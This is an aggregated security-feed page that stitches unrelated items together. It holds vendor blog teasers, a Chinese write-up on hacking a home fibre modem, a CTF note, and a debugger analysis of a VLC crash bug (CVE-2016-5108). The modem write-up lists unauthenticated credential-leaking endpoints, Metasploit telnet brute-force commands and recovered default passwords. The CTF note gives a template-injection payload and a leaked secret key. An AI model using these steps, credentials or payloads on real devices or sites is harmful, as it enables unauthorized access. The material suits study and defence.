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Free apps have a lot of appeal for users. They don’t cost a cent and can help users complete tasks...

The post Basic Android Apps Are Charging High Subscription Fees With Deceptive Tactics appeared first on McAfee Blog.

Attackers continue to exploit old vulnerabilities, use new methods to kill competing crypto-miners, and survive removal by administrators.

几年以前，我个人对威胁情报的理解还局限于：它是业界安全理念变革背景下演变出的重要安全能力。随着近几年的了解，威胁情报也处在自身产品的发展阶段，尤其是和安全运营领域的深度结合。

Continuing the trend from January, threat actor activity in February focused heavily on exploiting a ThinkPHP remote code execution vulnerability.

Today, we released security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to turn on automatic updates. More information about this month’s security updates can be found on the Security Update Guide.

Today, we released security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to turn on automatic updates. More information about this month’s security updates can be found on the Security Update Guide.

从渗透方向的红蓝攻防演练切入，分享关于互联网企业基础安全中蓝军建设的一点经验和想法。

前言

过个年，WiFi密码忘记了…光猫管理密码也忘记了（这个光猫也不支持物理按钮重置设置），但是手机还连着WiFi，正规操作找回不了密码，那就用咱们测试的思维来试试PWN掉这个路由器。

过程 未授权获取WiFi连接密码

还好之前没闲着，发现管理的几个未授权访问的接口如下:

获取宽带账号密码: /GET_USER_WAN_PPP_INFO.json

获取 WLAN 连接信息: /GET_WLAN_LINK_INFO.json

获取 DHCP 信息: /GET_NET_DHCP_INFO.json

手机访问 http://192.168.1.1/GET_WLAN_LINK_INFO.json ，获取密码：xxx，电脑连接登录

信息收集 端口收集结果 Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8080/tcp on 192.168.1.1 目录扫描结果

获得的一些目录：

/login.html /login.asp /index.asp /telnet.asp /upgrade.asp ... 突破口

在目录扫描的时候，发现/telnet.asp -> 跳转到 /cgi-bin/telnet.asp 如下图所示界面：

这个功能可以开启光猫的telnet服务，先开启，然后再使用Nmap扫描下端口：

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 8080/tcp on 192.168.1.1 Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8023/tcp on 192.168.1.1

发现多了个8023端口，其对应的服务果然是telnet：

8023/tcp open telnet | fingerprint-strings: | GenericLines: | Star-Net Broadband Router | Login: | Password: | GetRequest: | Star-Net Broadband Router | Login: GET / HTTP/1.0 | Password: | Help: | HELP | Star-Net Broadband Router | Login: Password: | NCP: | Star-Net Broadband Router | Login: DmdT^@^@^@ | ^@^@^@^A^@^@^@^@^@ | NULL: | Star-Net Broadband Router | Login: | RPCCheck: | Star-Net Broadband Router | Login: | ^@^@(r | SIPOptions: | Star-Net Broadband Router | Login: OPTIONS sip:nm SIP/2.0 | Via: SIP/2.0/TCP nm;branch=foo | From: <sip:nm@nm>;tag=root | <sip:nm2@nm2> | Call-ID: 50000 | CSeq: 42 OPTIONS | Max-Forwards: 70 | Content-Length: 0 | Contact: <sip:nm@nm> | Accept: application/sdp | Password: | tn3270: | ^@IBM-3279-4-E | ^YStar-Net Broadband Router |_ Login:

telnet开启，爆破一波走起。（Caimima生成个密码口令）

试了nmap貌似没啥用，开个msfconsole来爆破：

use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.1.1 #设置模板 set RPORT 8023 #设置端口 set USER_FILE /root/user.txt #设置用户字典 set PASS_FILE /root/pass.txt #设置密码字典 exploit 192.168.1.1 #启动

幸运的是爆破出来了，是组合弱口令：

获取密码

运行telnet 192.168.1.1 8023输入账号密码进去，执行sh发现可以直接进入shell：

接下来就是找密码到处瞎翻（没有PWN路由器的经验，很难受），执行 ls -a -l 发现有软链接，很多指向了/tmp目录：

于是进入/tmp目录，到处翻腾：

利用这几个关键词看看是否有文件中包含了：admin、CMCC(中国移动)、password、user

e.g. grep 'admin' ./*，等了老半天了，发现/tmp/ctromfile.cfg文件内有点东西：

复制密码登录，怼进去：

信息整合

做完测试并针对测试过程的信息进行整合，最后形成字典以便后面再次遇到～

• 通过读配置文件获取的一系列用户名、密码：9vvrr、admin、aDm8H%MdA、CMCCAdmin、telnetuser、user

• 文件、目录路径：
  • /GET_USER_WAN_PPP_INFO.json
  • /GET_WLAN_LINK_INFO.json
  • /GET_NET_DHCP_INFO.json
  • /telnet.asp
  • /index.asp
  • /user.html
  • /upgrade.asp
  • /cgi-bin/
  • /content.asp
• 指纹特征：
  • 标题：HGU LOGIN
  • 图片：/webstyle/images/login-mobile-qrcode-anhui.png -> 23cb4f5e63e0cd47f8788a6ca3558eab
  • JS：/webstyle/js/br_login_nc.js

结尾

最后我只是默默的把user用户密码改了一下～

happyPython

随便 fuzz 一下发现 404 页面有模板注入, http://118.25.18.223:3001/asd%7B%7Bconfig%7D%7D.
拿到 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 把 session 里的 user_id 改成 1 就行了.

It’s no secret that technological advancements and online threats are directly proportional to each other. So now more than ever,...

The post 809 Million Records Left Exposed: How Users Can Protect Their Data appeared first on McAfee Blog.

作者：k0shl 转载请注明出处：https://whereisk0shl.top

漏洞说明

VideoLAN VLC Media Player是一款播放器，这个漏洞编号为CVE-2016-5108，播放器在处理某数据的时候，由于处理某数据时没有对数据长度进行严格校验，导致越界写入引发拒绝服务漏洞，下面对此漏洞进行详细分析。

软件下载：
https://www.exploit-db.com/apps/b8c997e772be343e1664fee14c1fb9b7-vlc-2.2.1-win32.exe

PoC:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41025.mov

漏洞复现

首先打开VLC，打开mov文件，程序崩溃，附加windbg

(1588.788): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=ffffffff ebx=0000178f ecx=00000058 edx=0000178f esi=0d1fd000 edi=1a44fdc8 eip=68322501 esp=1a44fd30 ebp=155cb8de iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll - libadpcm_plugin+0x2501: 68322501 66891e mov word ptr [esi],bx ds:0023:0d1fd000=????

通过kb回溯堆栈调用

0:024> kb *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll - ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 1a44fd38 75536a18 7a0e1e88 1a44fdc8 0d1fd000 libadpcm_plugin+0x2501 00000000 00000000 00000000 00000000 00000000 KERNELBASE!InterlockedCompareExchange+0xf8

之前只有一个Interlock的原子函数调用，来看一下当前是用bx向esi指针写入数据，esi指针的值是一个无效值，来看一下之前的情况。

0:024> dd 0d1fd000-8 0d1fcff8 c0c0178f c0c0c0c0 ???????? ????????

可以看到，前面还有值，这有可能是一个长度控制不严格引发的越界写漏洞。

漏洞分析

分析的过程中，发现了这个漏洞处于一个函数中。

int __cdecl sub_714C18B0(int a1, int *a2) { while ( 1 ) { } }

函数sub_714c18b0中有一处while循环，这个while循环代码量很长，执行的是一个向内存拷贝的操作，这里我就不具体分析整个代码逻辑，只看关键部分，首先是对待拷贝区的赋值。

.text:714C24B7 ; 846: v83 = 88; .text:714C24B7 cmova ecx, eax .text:714C24BA mov [esi], edx

714c24ba地址执行完毕后，edx存放的是待拷贝缓冲区的指针，它会交给esi地址中。

0:012> g Breakpoint 0 hit eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40 eip=6bdf24ba esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x24ba: 6bdf24ba 8916 mov dword ptr [esi],edx ds:0023:16d2fdc8=16d2fd74 0:006> p eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40 eip=6bdf24bc esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x24bc: 6bdf24bc 897c2418 mov dword ptr [esp+18h],edi ss:0023:16d2fd48=16d2fde8 0:006> dd 16d2fdc8 16d2fdc8 0e1f6e40

之后每轮都会向这个缓冲区指针内写入值，接下来继续单步跟踪，发现了要拷贝字符串的赋值。

0:006> p eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40 eip=6bdf24c0 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x24c0: 6bdf24c0 e9ef000000 jmp libadpcm_plugin+0x25b4 (6bdf25b4) 0:006> p eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40 eip=6bdf25b4 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x25b4: 6bdf25b4 8b3c8dc062df6b mov edi,dword ptr libadpcm_plugin!vlc_entry_license__2_2_0b+0x2c20 (6bdf62c0)[ecx*4] ds:0023:6bdf6390=00000424

在6bdf25b4地址位置执行了一处赋值操作，会把6bdf62c0这个固定缓冲区中的内容拷贝到edi中，而是从ecx*4+6bdf62c0的位置向前拷贝，ecx会逐步减少，拷贝的长度就是(6bdf6390-6bdf62c0)*8，这个后面会提到。

接下来会将edi的值加eax的值，这个eax就是每次循环最后赋值的值，相加后算数右移3位。

0:006> p eax=00000058 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424 eip=6bdf25bf esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x25bf: 6bdf25bf 89f8 mov eax,edi 0:006> p eax=00000424 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424 eip=6bdf25c1 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x25c1: 6bdf25c1 c1f803 sar eax,3 0:006> p eax=00000084 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424 eip=6bdf25c4 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 libadpcm_plugin+0x25c4: 6bdf25c4 89de mov esi,ebx

算数右移后的值在eax中，是0x84，随后会将eax的值交给ebx，再把ebx的值和上一轮的值相加。

0:006> p eax=00000084 ebx=00000000 ecx=00000034 edx=000004a8 esi=00000000 edi=00000424 eip=6bdf25cf esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 libadpcm_plugin+0x25cf: 6bdf25cf 0f44d0 cmove edx,eax 0:006> p eax=00000084 ebx=00000000 ecx=00000034 edx=00000084 esi=00000000 edi=16d2fdc8 eip=6bdf25f4 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 libadpcm_plugin+0x25f4: 6bdf25f4 0317 add edx,dword ptr [edi] ds:0023:16d2fdc8=00001200

最后会将edx的值先存放进eax指针，这个指针很熟悉吧，就是之前相加的指针，之后每次都会叠加，而edx同时也会交给ebx，最后ebx会执行拷贝。

0:006> p eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8 eip=6bdf3494 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x3494: 6bdf3494 8910 mov dword ptr [eax],edx ds:0023:16d2fdc8=00001200 0:006> p eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8 eip=6bdf3496 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 libadpcm_plugin+0x3496: 6bdf3496 89d3 mov ebx,edx 0:006> p eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8 eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 libadpcm_plugin+0x2501: 6bdf2501 66891e mov word ptr [esi],bx ds:0023:0e1f6e40=c0c0

那么现在这个漏洞的原因就很清晰了，从6bdf6390开始向前依次拷贝内容，每次拷贝的内容都会交给固定指针，这个指针里的值会进行叠加算术右移等操作，之后继续进行拷贝，而这个长度没有进行控制。

而每一轮拷贝，拷贝区长度都会加0x10。

0:006> p eax=00000033 ebx=00001284 ecx=00000058 edx=00001284 esi=0e1f6e40 edi=16d2fdc8 eip=6bdf2501 esp=16d2fd30 ebp=11b208c2 iopl=0 nv up ei pl nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 libadpcm_plugin+0x2501: 6bdf2501 66891e mov word ptr [esi],bx ds:0023:0e1f6e40=c0c0 0:006> g Breakpoint 1 hit eax=00000031 ebx=00001369 ecx=00000058 edx=00001369 esi=0e1f6e50 edi=16d2fdc8 eip=6bdf2501 esp=16d2fd30 ebp=11b208c3 iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 libadpcm_plugin+0x2501: 6bdf2501 66891e mov word ptr [esi],bx ds:0023:0e1f6e50=c0c0

注意esi的值，接下来来看一下几轮拷贝之后esi最开始拷贝位置的值的前后变化。

0:006> dd esi 0e1f6e40 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0e1f6e50 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0e1f6e60 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0e1f6e70 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0e1f6e80 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0e1f6e90 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0e1f6ea0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0:006> dd 0e1f6e40 0e1f6e40 c0c01284 c0c0c0c0 c0c012fc c0c0c0c0 0e1f6e50 c0c01369 c0c0c0c0 c0c013cc c0c0c0c0 0e1f6e60 c0c01426 c0c0c0c0 c0c01478 c0c0c0c0 0e1f6e70 c0c014c2 c0c0c0c0 c0c01506 c0c0c0c0 0e1f6e80 c0c01543 c0c0c0c0 c0c0157b c0c0c0c0 0e1f6e90 c0c015ae c0c0c0c0 c0c015dc c0c0c0c0 0e1f6ea0 c0c01606 c0c0c0c0 c0c0162c c0c0c0c0 0e1f6eb0 c0c0164e c0c0c0c0 c0c0166d c0c0c0c0

而拷贝区的内容则是这样

0:006> dd 6bdf6360 6bdf6360 00000151 00000173 00000198 000001c1 6bdf6370 000001ee 00000220 00000256 00000292 6bdf6380 000002d4 0000031c 0000036c 000003c3 6bdf6390 00000424 0000048e 00000502 00000583 6bdf63a0 00000610 000006ab 00000756 00000812 6bdf63b0 000008e0 000009c3 00000abd 00000bd0 6bdf63c0 00000cff 00000e4c 00000fba 0000114c

也就是说，每次拷贝4个字节，经过算法处理后，会在待拷贝区偏移8字节，长度还要乘以2，最后也就是说拷贝的长度，超过了申请buffer的长度，造成了越界写，引发了异常。

这个漏洞不能造成任意地址写，因此不能利用，是个拒绝服务漏洞。

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